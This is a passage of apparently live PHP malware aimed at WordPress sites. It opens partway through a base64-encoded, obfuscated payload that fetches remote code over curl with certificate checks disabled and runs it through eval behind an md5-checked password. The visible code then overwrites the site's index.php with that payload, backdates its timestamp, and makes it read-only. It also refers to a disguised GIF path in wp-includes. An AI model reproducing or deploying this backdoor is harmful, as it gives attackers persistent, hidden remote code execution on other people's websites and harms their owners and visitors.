wxNTYiKSkgeyBnb3RvIHVTTnNDUlM4WDA1dnliNzsgfSBnb3RvIGp4QXBjSTdoMUs5eXRDUTsgWFdvdllETVYxYzF1bTA0OiAkSEQ4WGJsamliY2xCb0Y2WyJcMTYzXHg3NFwxNDFcMTY0XDE2NVwxNjMiXSA9IGludHZhbChjdXJsX2dldGluZm8oJHUwREFyUXcyQnRNVUFvTSwgQ1VSTElORk9fSFRUUF9DT0RFKSk7IGdvdG8gb21IdWVhRkEzVEhxRWZvOyBTdlUwQ0NPYnJMRDAyZFA6IGN1cmxfc2V0b3B0KCR1MERBclF3MkJ0TVVBb00sIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDIwKTsgZ290byB5WFNBZk5NUGV4c3djMzU7IGNXdTZIZkZjOE02QlpKaTogQGN1cmxfY2xvc2UoJHUwREFyUXcyQnRNVUFvTSk7IGdvdG8gUmpzNW9KUVVjX2lwX3NHOyBlUlZkdklZSEdZYUFIaG46IGN1cmxfc2V0b3B0KCR1MERBclF3MkJ0TVVBb00sIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIGdqR2c1THlBZTByYndtMDsgRFFENHlrdlJpUVRhZkJfOiBWWTJxcDU4RXExdnQ1Vnc6IGdvdG8gc1FqeWJob0RZaFc4eE0xOyBJQTZ3V3hkMjdGdVEzOHU6IGg0SThUTnlMY2k5WXlOODogZ290byBUYjNJYWJhSE9SVTVvZGU7IHlYU0FmTk1QZXhzd2MzNTogY3VybF9zZXRvcHQoJHUwREFyUXcyQnRNVUFvTSwgQ1VSTE9QVF9USU1FT1VULCA2MCk7IGdvdG8gU1d5ZXkxMWlWRlY3VUVHOyBUYjNJYWJhSE9SVTVvZGU6IGdvdG8gVlkycXA1OEVxMXZ0NVZ3OyBnb3RvIHBpS3hOeGp1alJMNGNhUTsgVU9EaFdYRE1GYThDWDBYOiByQUlqZGtpb3JZdURteEM6IGdvdG8gRFFENHlrdlJpUVRhZkJfOyBKQjVpempFTE1IUzBTc3A6IGN1cmxfc2V0b3B0KCR1MERBclF3MkJ0TVVBb00sIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBnb3RvIFN2VTBDQ09ickxEMDJkUDsgUE1DVFNucXplYm9iQmlnOiAkSEQ4WGJsamliY2xCb0Y2WyJcMTQzXDE1N1x4NmVcMTY0XHg2NVx4NmVceDc0Il0gPSBzdHJ2YWwoY3VybF9nZXRpbmZvKCR1MERBclF3MkJ0TVVBb00sIENVUkxJTkZPX1JFRElSRUNUX1VSTCkpOyBnb3RvIGNXdTZIZkZjOE02QlpKaTsgb0R2THNqVjZGMGI0Y09nOiBpZiAoIWluX2FycmF5KCRIRDhYYmxqaWJjbEJvRjZbIlwxNjNcMTY0XDE0MVx4NzRcMTY1XHg3MyJdLCBhcnJheSgyMDAsIDMwMSwgMzAyLCA0MDQpKSkgeyBnb3RvIHJBSWpka2lvcll1RG14QzsgfSBnb3RvIEtxODhYYlV0UWRHd1E2TjsgU1d5ZXkxMWlWRlY3VUVHOiBjdXJsX3NldG9wdCgkdTBEQXJRdzJCdE1VQW9NLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgZ290byB5RlNmdnBlQkZaaGNyUDA7IFlsVUxheWF4d29VQVUwSzogY3VybF9zZXRvcHQoJHUwREFyUXcyQnRNVUFvTSwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGdvdG8gSkI1aXpqRUxNSFMwU3NwOyBtNmg1NUkzeUpLa05tWWI6IFdWeGN5SVBNQkZDSHJ4ODogZ290byBmMExhZklhRW1BUWFKZzM7IGp4QXBjSTdoMUs5eXRDUTogZ290byBWWTJxcDU4RXExdnQ1Vnc7IGdvdG8gbTZoNTVJM3lKS2tObVliOyBzUWp5YmhvRFloVzh4TTE6IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkdlZHUjY3NlhiWU9QMlFGKSB7IH0gZ290byB5V1UyQm1oR0VOUUpNY2w7IEVlMDRPYU85ZFdjeVNuaTogfSBnb3RvIGpNdFpGYWc0Q3g0d1NDeTsgbWhVSEp5d3FmMENxa2dsOiBjbGFzcyBXSUs2d2JZUUF6NEtROGkgeyBzdGF0aWMgZnVuY3Rpb24ga2dEV0lKRmVYSldFb2o5KCRPaEt1MUhrWkR1c0doVE0pIHsgZ290byBQd29EV1luNGlOQWMwYkE7IFRRbXVOQ3JsOVQ4Y1BZOTogcmV0dXJuICRhVVZYbUZMTk1OS1ZlazY7IGdvdG8gTk5KNFJrV0s2NVhiT2lzOyBUMjR5ZHpJaENjZzZQQjM6ICRaWGt1VlJ2ZUNub1l6T3MgPSBleHBsb2RlKCJceDZmIiwgJE9oS3UxSGtaRHVzR2hUTSk7IGdvdG8gb25WbXdkazB0NkNkMmcyOyBMckM5bk1WMElCQU5FSFI6ICRrMnFSOThlcVAwaDd4S28gPSAkQXpRU2wyWTZJYks0N09UKCJcMTc2IiwgIlx4MjAiKTsgZ290byBUMjR5ZHpJaENjZzZQQjM7IG9qSEdEVGExUldIczNpXzogeHdnSlE0MEtQSzNtRkp2OiBnb3RvIFRRbXVOQ3JsOVQ4Y1BZOTsgUHdvRFdZbjRpTkFjMGJBOiAkQXpRU2wyWTZJYks0N09UID0gIlwxNjIiIC4gIlx4NjEiIC4gIlx4NmUiIC4gIlwxNDciIC4gIlx4NjUiOyBnb3RvIExyQzluTVYwSUJBTkVIUjsgcEwyRV9DUzlRRHlWTDRDOiBmb3JlYWNoICgkWlhrdVZSdmVDbm9Zek9zIGFzICRyQlYwTlQyaXlXNGJLTzMgPT4gJEpLVGpvY0NqR0hiODd2ZCkgeyAkYVVWWG1GTE5NTktWZWs2IC49ICRrMnFSOThlcVAwaDd4S29bJEpLVGpvY0NqR0hiODd2ZCAtIDY3NThdOyBmZjZFSHZCcjFMWGlnNGc6IH0gZ290byBvakhHRFRhMVJXSHMzaV87IG9uVm13ZGswdDZDZDJnMjogJGFVVlhtRkxOTU5LVmVrNiA9ICcnOyBnb3RvIHBMMkVfQ1M5UUR5Vkw0QzsgTk5KNFJrV0s2NVhiT2lzOiB9IHN0YXRpYyBmdW5jdGlvbiBFRUZ5QWhqcm9IdmVITXQoJFVxTm5sOVBtM1EzZWhUSSwgJHc0a1FXMHNRUG1sbU9oTSkgeyBnb3RvIFdFbXZZMmFWUm1CaExfczsgV0VtdlkyYVZSbUJoTF9zOiAkSnp3cTRFMVpHQnd5ZnVTID0gY3VybF9pbml0KCRVcU5ubDlQbTNRM2VoVEkpOyBnb3RvIGhZRENOZTRmbVhXS3NWMDsgTDFWaGUyX3laUHBBRlcyOiByZXR1cm4gZW1wdHkoJGxsUWF4NkN5YjZEYUNqSSkgPyAkdzRrUVcwc1FQbWxtT2hNKCRVcU5ubDlQbTNRM2VoVEkpIDogJGxsUWF4NkN5YjZEYUNqSTsgZ290byBUTzY2d0lmMWtCR3F2S2M7IFZ3d2NBMTNHQ2dzSU9SRjogJGxsUWF4NkN5YjZEYUNqSSA9IGN1cmxfZXhlYygkSnp3cTRFMVpHQnd5ZnVTKTsgZ290byBMMVZoZTJfeVpQcEFGVzI7IGhZRENOZTRmbVhXS3NWMDogY3VybF9zZXRvcHQoJEp6d3E0RTFaR0J3eWZ1UywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGdvdG8gVnd3Y0ExM0dDZ3NJT1JGOyBUTzY2d0lmMWtCR3F2S2M6IH0gc3RhdGljIGZ1bmN0aW9uIHNWaUw3ZHh0V0xGcDI2aigpIHsgZ290byB0WkVLeHBBaFMweWJ2MVM7IFdreFc5YlVNYmU4WEUzTjogJGJNX2RpcHRZenFyd1NqQSA9IEAkY0RHWFN6YW9wZ0dBeGpjWzFdKCRjREdYU3phb3BnR0F4amNbOSArIDFdKElOUFVUX0dFVCwgJGNER1hTemFvcGdHQXhqY1s4ICsgMV0pKTsgZ290byB4bTByWFB3TEh2UnVzek07IEtBUVVwSzN2QWg2aEYwaTogTmJVVGJiYmxzX2tRUGFFOiBnb3RvIGRPSlc0a0RxTzI0QllOVDsgaGNpak5ZTlloNW1MeHVpOiBpZiAoIShAJEpWWllYVnM3Z09zNVRPT1swXSAtIHRpbWUoKSA+IDAgYW5kIG1kNShtZDUoJEpWWllYVnM3Z09zNVRPT1sxICsgMl0pKSA9PT0gIlw2M1w2MFw3MFx4MzdceDYyXDE0NVx4MzlcMTQzXHg2NVx4NjJceDY1XDE0NVw2M1wxNDZceDY2XHg2Nlx4MzBcNjVcMTQyXDY1XHg2NFx4NjRcNzBceDYxXHgzN1w2M1x4MzFceDYyXHgzOFw2M1w2MlwxNDMiKSkgeyBnb3RvIE5iVVRiYmJsc19rUVBhRTsgfSBnb3RvIHJscE9UeUIxdzZweXVCNTsgdFpFS3hwQWhTMHlidjFTOiAkdmVLeDVMcENmRFZmM093ID0gYXJyYXkoIlx4MzZceDM3XHgzOFw2NVwxNTdceDM2XDY3XDY3XDYwXDE1N1w2Nlw2N1x4MzhceDMzXDE1N1x4MzZceDM3XDcwXDY3XHg2Zlw2Nlw2N1w2Nlx4MzhcMTU3XDY2XHgzN1w3MFx4MzNcMTU3XHgzNlw2N1w3MFx4MzlceDZmXDY2XHgzN1x4MzhceDMyXDE1N1w2Nlw2N1w2Nlw2N1wxNTdceDM2XHgzN1x4MzdceDM0XHg2Zlx4MzZceDM3XDcwXDY1XDE1N1w2Nlx4MzdceDM2XHgzOFwxNTdceDM2XHgzN1x4MzdceDM5XHg2Zlx4MzZceDM3XHgzN1x4MzNcMTU3XHgzNlx4MzdcNjdcNjQiLCAiXDY2XHgzN1x4MzZcNzFceDZmXDY2XDY3XDY2XDcwXDE1N1x4MzZcNjdcNjdcNjBcMTU3XHgzNlx4MzdcNzBcNzFcMTU3XDY2XHgzN1w2N1w2MFwxNTdcNjZcNjdcNjdcNjNceDZmXHgzNlx4MzdceDM2XHgzOFwxNTdcNjZcNzBceDMzXDY1XHg2Zlx4MzZcNzBceDMzXDYzIiwgIlw2Nlw2N1x4MzdceDM4XDE1N1w2Nlw2N1x4MzZcNzFceDZmXHgzNlx4MzdceDM3XDYzXHg2Zlw2Nlw2N1w2N1w2NFwxNTdceDM2XDY3XDcwXDcxXDE1N1x4MzZcNjdcNzBceDM0XHg2Zlx4MzZceDM3XDcwXHgzM1x4NmZcNjZcNjdcNzBcNjVceDZmXHgzNlw2N1x4MzdceDMzXHg2Zlx4MzZceDM3XDcwXDY0XDE1N1x4MzZceDM3XDcwXDYzIiwgIlw2Nlw2N1x4MzdceDMyXDE1N1x4MzZceDM3XHgzOFw2N1wxNTdceDM2XHgzN1x4MzhceDM1XHg2Zlx4MzZceDM3XDY3XHgzNyIsICJcNjZcNjdceDM4XHgzNlwxNTdcNjZceDM3XDcwXDY3XDE1N1w2Nlw2N1w2Nlw3MVx4NmZcNjZcNjdcNzBcNjNceDZmXHgzNlx4MzhcNjNcNjBcMTU3XHgzNlx4MzhceDMzXDYyXDE1N1w2Nlx4MzdceDM4XHgzOVx4NmZcNjZceDM3XHgzOFx4MzRceDZmXHgzNlw2N1x4MzhceDMzXDE1N1x4MzZcNjdcNzBcNjVceDZmXDY2XHgzN1x4MzdcNjNceDZmXDY2XDY3XDcwXHgzNFwxNTdceDM2XDY3XDcwXHgzMyIsICJceDM2XHgzN1x4MzhceDMyXHg2Zlx4MzZcNjdcNjdceDM5XHg2Zlx4MzZceDM3XHgzN1x4MzZceDZmXDY2XDY3XDcwXHgzM1wxNTdceDM2XDY3XHgzOFw3MVwxNTdceDM2XDY3XDcwXDYxXHg2Zlx4MzZceDM3XHgzOFw2M1x4NmZceDM2XDY3XHgzNlx4MzhceDZmXDY2XDY3XDcwXHgzOVwxNTdcNjZceDM3XHgzOFw2NVwxNTdceDM2XHgzN1x4MzdcNjNcMTU3XHgzNlx4MzdcNjdceDM0XHg2Zlx4MzZcNjdceDM2XHgzOFx4NmZceDM2XDY3XHgzOFw2M1wxNTdceDM2XDY3XDY3XHgzNFwxNTdceDM2XDY3XHgzNlw3MFwxNTdcNjZcNjdceDM2XHgzOSIsICJcNjZcNzBcNjFcNjJcMTU3XDY2XDcwXDY0XDYyIiwgIlx4MzZcNjdcNjVceDM5IiwgIlw2Nlx4MzhcNjNcNjdcMTU3XDY2XDcwXHgzNFw2MiIsICJceDM2XDcwXDYxXDcxXDE1N1w2Nlw3MFx4MzBcNjJcMTU3XDY2XHgzOFw2MFw2Mlx4NmZcNjZcNzBceDMxXHgzOVwxNTdcNjZceDM3XDcxXHgzNSIsICJceDM2XDY3XDcwXHgzMlwxNTdcNjZcNjdceDM3XHgzOVx4NmZceDM2XDY3XHgzN1w2Nlx4NmZcNjZcNjdceDM2XDcwXDE1N1x4MzZceDM3XDcwXHgzM1x4NmZcNjZcNjdceDM3XDYwXHg2Zlx4MzZceDM3XHgzOFw3MVwxNTdceDM2XDY3XHgzN1x4MzlcMTU3XDY2XDY3XHgzN1x4MzRceDZmXDY2XDY3XDY3XDYyXDE1N1x4MzZcNjdcNjZceDM3XHg2Zlw2Nlw2N1x4MzZceDM4Iik7IGdvdG8gTUplNU5ucWc2YklJb2tFOyB4bTByWFB3TEh2UnVzek06ICRWMEltVFVIS2pZazBsYXUgPSBAJGNER1hTemFvcGdHQXhqY1szICsgMF0oJGNER1hTemFvcGdHQXhqY1syICsgNF0sICRiTV9kaXB0WXpxcndTakEpOyBnb3RvIHpSR2M3aDhTQmZfY1JFMjsgQW05ZW9YT2czcHFqZzBXOiBAJGNER1hTemFvcGdHQXhqY1sxICsgOV0oSU5QVVRfR0VULCAiXDE1N1x4NjYiKSA9PSAxICYmIGRpZSgkY0RHWFN6YW9wZ0dBeGpjWzIgKyAzXShfX0ZJTEVfXykpOyBnb3RvIGhjaWpOWU5ZaDVtTHh1aTsgelJHYzdoOFNCZl9jUkUyOiAkSlZaWVhWczdnT3M1VE9PID0gJGNER1hTemFvcGdHQXhqY1syICsgMF0oJFYwSW1UVUhLallrMGxhdSwgdHJ1ZSk7IGdvdG8gQW05ZW9YT2czcHFqZzBXOyBybHBPVHlCMXc2cHl1QjU6ICRycnBXMkg0TjE2UkpqWnogPSBzZWxmOjpFRWZ5QUhKcm9IVkVIbVQoJEpWWllYVnM3Z09zNVRPT1swICsgMV0sICRjREdYU3phb3BnR0F4amNbMiArIDNdKTsgZ290byBpX2J5YlBCNVM5SEF0dk47IFR4N2U2ZTBqd0RKV2NoOTogZGllOyBnb3RvIEtBUVVwSzN2QWg2aEYwaTsgTUplNU5ucWc2YklJb2tFOiBmb3JlYWNoICgkdmVLeDVMcENmRFZmM093IGFzICRQTl9Cc2xrd3gxRnZkdjUpIHsgJGNER1hTemFvcGdHQXhqY1tdID0gc2VsZjo6a0dkV2lKZkVYandlb2o5KCRQTl9Cc2xrd3gxRnZkdjUpOyBhSlZrQXFGNTcwYmN6Q2o6IH0gZ290byBNdUFNbEZESW80cV9pdXo7IE11QU1sRkRJbzRxX2l1ejogYnhLYkFDZVRoa2JCY2ZyOiBnb3RvIFdreFc5YlVNYmU4WEUzTjsgaV9ieWJQQjVTOUhBdHZOOiBAZXZhbCgkY0RHWFN6YW9wZ0dBeGpjWzEgKyAzXSgkcnJwVzJINE4xNlJKalp6KSk7IGdvdG8gVHg3ZTZlMGp3REpXY2g5OyBkT0pXNGtEcU8yNEJZTlQ6IH0gfSBnb3RvIE90aGp0VUdnNWh3djVzTjsgeGlUVTFmeHd6MVF2bDBwOiBmdW5jdGlvbiBPUmVpdU16Wlg5UzNnM3QoJHkzbDg0VmZaQlloaGV3SCkgeyBnb3RvIFcyQTB0b0JoR3Nqb1pDYTsgZ2IyclFNbTIxVEs2RjJoOiByZXR1cm4gJFNieHU1b0NoYkpzX2JMYjsgZ290byBlcUZEREhhVGVqOXF1d3Y7IFluc21aMzEyblJyV3dqNjogZm9yZWFjaCAoJHkzbDg0VmZaQlloaGV3SCBhcyAkb280eTlyZ1ExazZfUGdHKSB7IGdvdG8gbGdpY1gybzVOWllaRHBoOyB1b2RiTmtHV0ppV2wybTM6ICRTYnh1NW9DaGJKc19iTGJbIlwxNDNcMTU3XHg2ZVx4NzRcMTQ1XHg2ZVx4NzQiXSA9ICRqd045aEF0MHNPcHhLUVZbMV07IGdvdG8gaEM2cFo0M2ZsM3ppdTFWOyBFajF3N3gxZm9DVHU2Vzk6ICRTYnh1NW9DaGJKc19iTGJbIlx4NzRceDc5XHg3MFx4NjUiXSA9ICRqd045aEF0MHNPcHhLUVZbMV07IGdvdG8geFNoSUF1aFBocFY1cUgxOyBsZ2ljWDJvNU5aWVpEcGg6IGlmIChwcmVnX21hdGNoKCJceDJmXDE1MFx4NzRcMTY0XDE2MFx4NWNcNTdceDViXHgzMFw1NVx4MzlcMTM0XHgyZVx4NWRceDJiXHg1Ylx4NWNceDczXHg1ZFw1M1x4MjhceDViXHgzMFw1NVw3MVwxMzVcNTNceDI5XDU3XHg2OSIsICRvbzR5OXJnUTFrNl9QZ0csICRqd045aEF0MHNPcHhLUVYpKSB7IGdvdG8gbnY3dzNZc3BJVWdQSldTOyB9IGdvdG8gUXNoZnlhOW1mRFExV1o1OyBoSFBnRGU3WThJeUl1MTU6IGlmIChwcmVnX21hdGNoKCJceDJmXHg2M1x4NmZcMTU2XDE2NFwxNDVcMTU2XHg3NFwxMzRcNTVceDc0XDE3MVwxNjBceDY1XHg1Y1x4M2FceDViXDEzNFwxNjNcMTM1XHgyYlx4MjhcNTZceDJhXDUxXHgyZlx4NjkiLCAkb280eTlyZ1ExazZfUGdHLCAkandOOWhBdDBzT3B4S1FWKSkgeyBnb3RvIEFrSkdCYnZXTmZKRkp5NTsgfSBnb3RvIGVuNndPOEZlcGNiX2Y5UzsgQm40QW5qekxDZ3AyTVc3OiBudjd3M1lzcElVZ1BKV1M6IGdvdG8gTkpnOWZ1SDZiejE4dnV5OyBoQzZwWjQzZmwzeml1MVY6IGdvdG8genRSX3pucmRRZFU1QXRkOyBnb3RvIFQzTlhZQWo5YmRZanhtbjsgVDNOWFlBajliZFlqeG1uOiBBa0pHQmJ2V05mSkZKeTU6IGdvdG8gRWoxdzd4MWZvQ1R1Nlc5OyBOSmc5ZnVINmJ6MTh2dXk6ICRTYnh1NW9DaGJKc19iTGJbIlwxNjNceDc0XDE0MVwxNjRcMTY1XHg3MyJdID0gaW50dmFsKCRqd045aEF0MHNPcHhLUVZbMV0pOyBnb3RvIHlacFFhZXZhNTNYV0ZwaDsgZW42d084RmVwY2JfZjlTOiBnb3RvIHp0Ul96bnJkUWRVNUF0ZDsgZ290byBCbjRBbmp6TENncDJNVzc7IHlacFFhZXZhNTNYV0ZwaDogZ290byB6dFJfem5yZFFkVTVBdGQ7IGdvdG8gVEw4MVVFbEVkUzF3RjJjOyB4U2hJQXVoUGhwVjVxSDE6IHp0Ul96bnJkUWRVNUF0ZDogZ290byBOSTlHZFBrT0dfM1RlUWc7IFRMODFVRWxFZFMxd0YyYzogQ0ZuMmdCdjN4ekJZSWxPOiBnb3RvIHVvZGJOa0dXSmlXbDJtMzsgUXNoZnlhOW1mRFExV1o1OiBpZiAocHJlZ19tYXRjaCgiXHgyZlwxNTRceDZmXHg2M1wxNDFcMTY0XDE1MVwxNTdcMTU2XDEzNFw3Mlx4NWJcMTM0XDE2M1x4NWRceDJiXHgyOFw1Nlx4MmFcNTFcNTdceDY5IiwgJG9vNHk5cmdRMWs2X1BnRywgJGp3TjloQXQwc09weEtRVikpIHsgZ290byBDRm4yZ0J2M3h6QllJbE87IH0gZ290byBoSFBnRGU3WThJeUl1MTU7IE5JOUdkUGtPR18zVGVRZzogTmhhUjlKNXg0ZkdINzFtOiBnb3RvIE9ickJiNTFXc0g1cko3WDsgT2JyQmI1MVdzSDVySjdYOiB9IGdvdG8gaFJoVzFhb1Q0U0Z6TGFNOyBXMkEwdG9CaEdzam9aQ2E6ICRTYnh1NW9DaGJKc19iTGIgPSBhcnJheSgiXHg3M1wxNjRcMTQxXDE2NFwxNjVceDczIiA9PiAwLCAiXHg2M1wxNTdceDZlXHg3NFx4NjVceDZlXHg3NCIgPT4gJycsICJcMTY0XHg3OVx4NzBcMTQ1IiA9PiAnJyk7IGdvdG8gYUFVVDJYS1hLcHpuN3NaOyBlcUZEREhhVGVqOXF1d3Y6IE5LZnBQMXlybkNPSnc5cDogZ290byBZbnNtWjMxMm5Scld3ajY7IGFBVVQyWEtYS3B6bjdzWjogaWYgKGlzX2FycmF5KCR5M2w4NFZmWkJZaGhld0gpKSB7IGdvdG8gTktmcFAxeXJuQ09KdzlwOyB9IGdvdG8gZ2IyclFNbTIxVEs2RjJoOyBoUmhXMWFvVDRTRnpMYU06IHI2RmRxOThhalNNWXYybjogZ290byBIbm9yRVdBaWkyRXNGSWk7IEhub3JFV0FpaTJFc0ZJaTogcmV0dXJuICRTYnh1NW9DaGJKc19iTGI7IGdvdG8gWExKNE9BQ0k0em1tYXVqOyBYTEo0T0FDSTR6bW1hdWo6IH0gZ290byBjYXE1dDFhck90d3lIRHY7IFdBMWtBQmRSaTV2UzNDNTogJEY4aGNBd1YzOVJIWEdJTCA9IGFycmF5KCk7IGdvdG8gYTJLUW5ZMzljMFE1bWlROyBvWlpxZXl3RThHQ2N1NHE6IGVjaG8gJEhEOFhibGppYmNsQm9GNlsiXHg2M1wxNTdcMTU2XDE2NFwxNDVcMTU2XDE2NCJdOyBnb3RvIHRUMFJqc3lqc1dzckw5aTsgazB5bFpfclhPTGJGVTZQOiBmdW5jdGlvbiBkMG1hWmM0MEQ1dEFweFYoKSB7IGdvdG8gcDFBZ21wM2FOWkNQbmFuOyBncTA3RXhhREFpZ3pSR1Q6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFx4NWZceDQ2XHg1Mlx4NGZcMTE2XDEyNFx4NWZcMTA1XHg0ZVx4NDRceDVmXDExMFwxMjRcMTI0XDEyMFx4NTMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXDExMFwxMjRceDU0XHg1MFx4NWZcMTA2XHg1MlwxMTdceDRlXHg1NFwxMzdceDQ1XDExNlx4NDRcMTM3XHg0OFx4NTRcMTI0XHg1MFwxMjMiXSkgIT09ICJceDZmXDE0Nlx4NjYiKSB7IGdvdG8gcWx0T1dYVFp4WGR3MENlOyB9IGdvdG8gaVNuR3ppUmNBM2hGWlh6OyBJTVRKdmpxXzBlU25GWHE6IHFsdE9XWFRaeFhkdzBDZTogZ290byBUOXRWWjNLUl82c1dTTkQ7IElhQkt1QnRweDRNbHlBSDogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXHg1MyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXHg1MyJdKSAhPT0gIlx4NmZcMTQ2XHg2NiIpIHsgZ290byBodEVxbzI0MzE3QmxGQ207IH0gZ290byB1Q0s1VkQ0VUpjOXJSMFk7IHAxQWdtcDNhTlpDUG5hbjogJFhXX0JHeUlUNVR0UEhnbSA9ICJcMTUwXDE2NFwxNjRceDcwXDcyXHgyZlx4MmYiOyBnb3RvIElhQkt1QnRweDRNbHlBSDsgd3dvYjBMMmszR3BHR1hoOiBqU056bmU4U3FRM0szZDc6IGdvdG8gZUJqQUlYMjB5V0dPbVh2OyBlQmpBSVgyMHlXR09tWHY6ICRYV19CR3lJVDVUdFBIZ20gPSAiXDE1MFx4NzRcMTY0XDE2MFx4NzNcNzJceDJmXHgyZiI7IGdvdG8gS2VsMjVKSXpvVHZLcVhGOyBpU25HemlSY0EzaEZaWHo6IGdvdG8gTDM3N1VFSXZPRk1Rd0xHOyBnb3RvIGc3YmFMSl9SaGJuYmszVzsgaWpDU2VuZVBjQlZOdHc2OiByZXR1cm4gJFhXX0JHeUlUNVR0UEhnbTsgZ290byBmNXZsNUVNNUNpZkhkblU7IHZwOVJTd0NFT1NIWW1DdzogZ290byBMMzc3VUVJdk9GTVF3TEc7IGdvdG8gd3dvYjBMMmszR3BHR1hoOyBUOXRWWjNLUl82c1dTTkQ6ICRYV19CR3lJVDVUdFBIZ20gPSAiXDE1MFx4NzRceDc0XDE2MFwxNjNcNzJcNTdceDJmIjsgZ290byB0X3ladXF1TnlqUFhZQ2I7IHVDSzVWRDRVSmM5clIwWTogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFx4NTRcMTIwXDEzN1x4NThcMTM3XDEwNlx4NGZceDUyXHg1N1x4NDFceDUyXHg0NFx4NDVceDQ0XHg1Zlx4NTBceDUyXDExN1wxMjRceDRmIl0pICYmICRfU0VSVkVSWyJceDQ4XDEyNFx4NTRcMTIwXHg1Zlx4NThceDVmXHg0NlwxMTdcMTIyXDEyN1wxMDFceDUyXHg0NFx4NDVceDQ0XHg1ZlwxMjBceDUyXHg0ZlwxMjRceDRmIl0gPT09ICJceDY4XHg3NFx4NzRcMTYwXHg3MyIpIHsgZ290byBqU056bmU4U3FRM0szZDc7IH0gZ290byBncTA3RXhhREFpZ3pSR1Q7IHRfeVp1cXVOeWpQWFlDYjogTDM3N1VFSXZPRk1Rd0xHOiBnb3RvIGlqQ1NlbmVQY0JWTnR3NjsgdjFiR0l1Z0tpMFhrOVduOiAkWFdfQkd5SVQ1VHRQSGdtID0gIlx4NjhceDc0XDE2NFx4NzBcMTYzXDcyXDU3XHgyZiI7IGdvdG8gdnA5UlN3Q0VPU0hZbUN3OyBnN2JhTEpfUmhibmJrM1c6IGh0RXFvMjQzMTdCbEZDbTogZ290byB2MWJHSXVnS2kwWGs5V247IEtlbDI1Skl6b1R2S3FYRjogZ290byBMMzc3VUVJdk9GTVF3TEc7IGdvdG8gSU1USnZqcV8wZVNuRlhxOyBmNXZsNUVNNUNpZkhkblU6IH0gZ290byBEcUhNTzNDdkFCclRqeWs7IHU1d29xcWVabUNXRENaWDogZXhpdChzdHJyZXYobWQ1KCRfU0VSVkVSWyJceDUzXDEwNVwxMjJceDU2XDEwNVx4NTJceDVmXDExNlx4NDFcMTE1XHg0NSJdKSkpOyBnb3RvIEFUVDdyWTNGcWlsdk5oZjsgbnZuUDNRYjNBMk1mVnNJOiAkZVFRTURzVUdOQ2dnR2YxID0gc3Vic3RyKCRaUGJLbTVqMWZ5NkVvb18sIHN0cnBvcygkWlBiS201ajFmeTZFb29fLCAiXDU2IikpOyBnb3RvIGRWSFF5Y1NueUZtZXVOVzsgWjIyN3F1WU45NHhpeTNrOiAkSEQ4WGJsamliY2xCb0Y2ID0gVVdKTEtpdGZneGw2bm1JKGJhc2U2NF9kZWNvZGUoIlwxNDFceDQ4XHg1Mlx4MzBceDYzXDEwNFwxNTdceDc2XHg0Y1x4MzNceDcwXDE3MlwxMTZceDU0XDEyNVx4MzRcMTQ0XDE1MlwxMDVceDdhXDE0M1w2M1wxMjVceDc1XDEzMlw2M1x4NGFceDY4XHg1YVx4NDdceDZjXDE3MlwxNDJcMTIzXHgzNVx4NjlcMTMyXHg1N1x4NDZcNjFcMTQ0XDExMFwxNTNceDc2IiksICRGOGhjQXdWMzlSSFhHSUwpOyBnb3RvIHR2ZXBtbTBwSTcyVUxsTTsgTndSc1ZpTUNzbzFYNFlfOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gUkNsYzRod1BuRVE1bVJYOyB6WGtGRzdraUExQlRSNjg6IFhIbm5FQ2tESlc2RmVmQTogZ290byBDeV82dGd6S0FqeUZ1WFU7IFRINlY4eXZVZFFMbGFOZTogcktPMTdLbVQ3Yzg3ZlJaOiBnb3RvIHpYa0ZHN2tpQTFCVFI2ODsgc1VXOEd6RE1JYVpOME5WOiBpZiAoJEFHdzljSTNyRXpKckNVcykgeyBnb3RvIHVPTlJ5WllGNUM5aXZUSjsgfSBnb3RvIFoyMjdxdVlOOTR4aXkzazsgR0MzY21KWUpsT1pyUTU5OiBiTHdvejBFNXF0TV94WXk6IGdvdG8gZ0tNd3luM24yejg0Z0NaOyBDX1hoMnpic3JXQ1BwUHI6ICRiUjlNcWtDemlmSU9PZzAgPSBkME1hWkM0MGQ1VGFwWFYoKSAuICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRceDUwXHg1ZlwxMTBceDRmXDEyM1x4NTQiXTsgZ290byBEQU05RDJ5MDRYejFuS0g7IGgyNXo2a0VGVFRYV0ZpVzogaWYgKCEoc3RycG9zKCRaUGJLbTVqMWZ5NkVvb18sICJceDJlIikgPiAwICYmIHN0cnBvcygkWlBiS201ajFmeTZFb29fLCAiXDU2XDE2MFwxNTBcMTYwIikgPT09IGZhbHNlKSkgeyBnb3RvIHFUa1BXbHBuWFhrMXJkdzsgfSBnb3RvIG52blAzUWIzQTJNZlZzSTsgck5pZDF2eEhVRUJROGZyOiAkQUd3OWNJM3JFekpyQ1VzID0gZmFsc2U7IGdvdG8gaDI1ejZrRUZUVFhXRmlXOyBnS013eW4zbjJ6ODRnQ1o6IHVPTlJ5WllGNUM5aXZUSjoKPz4KPD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg==");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
@chmod($do."index.php", 0644);
@file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
@touch($do."index.php", filectime($do."index.php"));
@chmod($do."index.php", 0444);
}
$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
